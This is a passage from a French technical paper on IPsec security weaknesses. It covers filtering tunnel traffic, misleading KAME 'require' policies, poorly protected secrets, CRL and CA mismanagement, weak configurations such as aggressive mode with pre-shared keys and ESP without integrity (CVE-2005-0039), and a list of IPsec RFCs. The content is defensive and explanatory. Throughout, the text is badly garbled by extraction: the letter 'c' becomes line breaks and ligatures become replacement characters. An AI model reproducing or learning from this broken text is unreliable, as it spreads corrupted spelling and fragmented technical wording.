urité su�sant pour garantir tous les �ux 
ir
ulant au travers

de 
e tunnel. Or, si un tunnel IPSe
 peut garantir le transit des �ux au travers de 
e tunnel, il ne

peut en au
un 
as garantir la non-
ompromission des extrémités de tra�
 distantes.

Il est don
 indispensable de mettre en pla
e une politique de �ltrage sur les �ux des tunnels

IPSe
, et de les réduire au stri
t né
essaire, de la même fa
on que sont 
ontrolés les autres �ux de

la passerelle.
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5.2 Mauvaise 
ompréhension des 
on�gurations

Dans 
ertains 
as, il est possible de 
réer des 
on�gurations qui ne 
orrespondent pas à 
e qui

semble naturel pour l'administrateur.

Par exemple, dans la 
on�guration de la pile IPSe
 KAME, tous les tutoriels et tous les �
hiers

d'exemples indiquent de dé
larer des poli
es de sé
urité ave
 le mot 
lé � require �. Or, dans le 
as

d'un 
orrespondant IPSe
 ave
 lequel on désirerait établir plusieurs phases2 de niveaux de sé
urité

di�érents (algorithmes, durées de vies, et
...), le mot 
lé � require � indique que n'importe laquelle

des SAs négo
iées ave
 le 
orrespondant peut être utilisée pour 
hi�rer un paquet de n'importe

laquelle des poli
es de sé
urité vers 
e 
orrespondant.

Dans le pire des 
as, le tra�
 
ensé être le mieux protégé peut �nalement se retrouver 
hi�ré ave


la SA la plus faible.

5.3 Se
rets mal protégés

Cette faiblesse potentielle est probablement l'une des plus génériques à tout 
ontexte de sé
urité,

mais la sé
urité d'un tunnel IPSe
 est dire
tement dépendante de la qualité de ses se
rets.

Il est évident qu'un tunnel IPSe
 dont la 
lé prépartagée ou une 
lé privée de 
erti�
at est

fa
ilement a

essible présente un niveau de sé
urité quasi nul pour toute personne pouvant disposer

de 
e se
ret et 
apable d'inter
epter le tra�
 IPSe
.

5.4 Mauvaise gestion de PKI

La sé
urité d'une ar
hite
ture IPSe
 par 
erti�
ats dépend également beau
oup de la 
apa
ité

de gérer 
orre
tement la 
haine de 
erti�
ats.

La première faiblesse 
ourante est une gestion mauvaise ou absente des listes de révo
ations

(CRLs) de la CA. Il devient alors possible de s'authenti�er sur une passerelle IPSe
 ave
 un 
erti-

�
at pourtant 
onnu 
omme étant révoqué.

La se
onde faiblesse importante est une mauvaise gestion de la 
lé privée de la CA qui permet-

trait, d'une façon ou d'une autre (
opie de la 
lé privée de la CA, et
...), de signer des 
erti�
ats

� illégitimes �, permettant alors également de s'authenti�er sur une passerelle IPSe
 sans pourtant

en avoir le droit légitime.

5.5 Con�gurations faibles

Des 
on�gurations faibles sont très fréquemment ren
ontrées lors de déploiements e�e
tifs, par-

fois par manque de 
onnaissan
e de l'administrateur, parfois par in
ompéten
e ou par fa
ilité. Ces


on�gurations faibles fa
ilitent ou permettent souvent l'exploitation de failles vues pré
édemment,

qu'elles soient des faiblesses de proto
oles ou des faiblesses 
ourantes d'implémentations.

Parmi les 
on�gurations faibles, les plus 
ourantes sont :

� Phase1 en mode aggressif et se
ret pré-partagé (voir se
tion 3.2).

� Utilisation d'algorithmes faibles : DES, MD5, pas de PFS pour les phases 2, et
...
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� ESP sans hash, qui le rend sensible aux attaques par bit �ipping CBC, voir [CVE-2005-0039℄.

� Se
ret partagés faibles.

� Mauvaise 
on�guration de CAs.

� Pas de gestion de CRLs.

Les RFCs IPSe


Les implémenations a
tuelles d'IPSe
 sont basées essentiellement sur tout ou partie des RFCs

suivantes :

� RFC 2367 : PFKEY Key Management API, Version 2.

� RFC2401 : Se
urity Ar
hite
ture for the Internet Proto
ol.

� RFC2402 : IP Authenti
ation Header.

� RFC2403 : The Use of HMAC-MD5-96 within ESP and AH.

� RFC2404 : The Use of HMAC-SHA-1-96 within ESP and AH.

� RFC2405 : The ESP DES-CBC Cipher Algorithm With Expli
it IV.

� RFC2406 : IP En
apsulating Se
urity Payload (ESP).

� RFC2407 : The Internet IP Se
urity Domain of Interpretation for ISAKMP.

� RFC2408 : Internet Se
urity Asso
iation and Key Management Proto
ol (ISAKMP).

� RFC2409 : The Internet Key Ex
hange (IKE).

� RFC2410 : The NULL En
ryption Algorithm and Its Use With IPse
.

� RFC2411 : IP Se
urity Do
ument Roadmap.

� RFC2412 : The OAKLEY Key Determination Proto
ol.

� RFC2451 : The ESP CBC-Mode Cipher Algorithms.

� RFC2857 : The Use of HMAC-RIPEMD-160-96 within ESP and AH.

� RFC3706 : A Tra�
-Based Method of Dete
ting Dead Internet Key Ex
hange (IKE) Peers.

� RFC3947 : Negotiation of NAT-Traversal in the IKE.

� RFC3948 : UDP En
apsulation of IPse
 ESP Pa
kets.

Très ré
emment, de nouvelles RFCs sont sorties pour la � nouvelle � version d'IPSe
 :

� RFC 4301 : Se
urity Ar
hite
ture for the Internet Proto
ol.

� RFC 4302 : IP Authenti
ation Header.

� RFC 4303 : IP En
apsulating Se
urity Payload (ESP).

� RFC 4304 : Extended Sequen
e Number (ESN) Addendum to IPse
 Domain of Interpretation

(DOI) for Internet Se
urity Asso
iation and Key Management Proto
ol (ISAKMP).

� RFC 4305 : Cryptographi
 Algorithm Implementation Requirements for En
apsulating Se
u-

rity Payload (ESP) and Authenti
ation Header (AH).

� RFC 4306 : Internet Key Ex
hange (IKEv2) Proto
ol.

� RFC 4307 : Cryptographi
 Algorithms for Use in the Internet Key Ex
hange Version 2

(IKEv2).

� RFC 4308 : Cryptographi
 Suites for IPse
.

� RFC 4309 : Using Advan
ed En
ryption Standard (AES) CCM Mode with IPse
 En
apsula-

ting Se
urity Payload (ESP).
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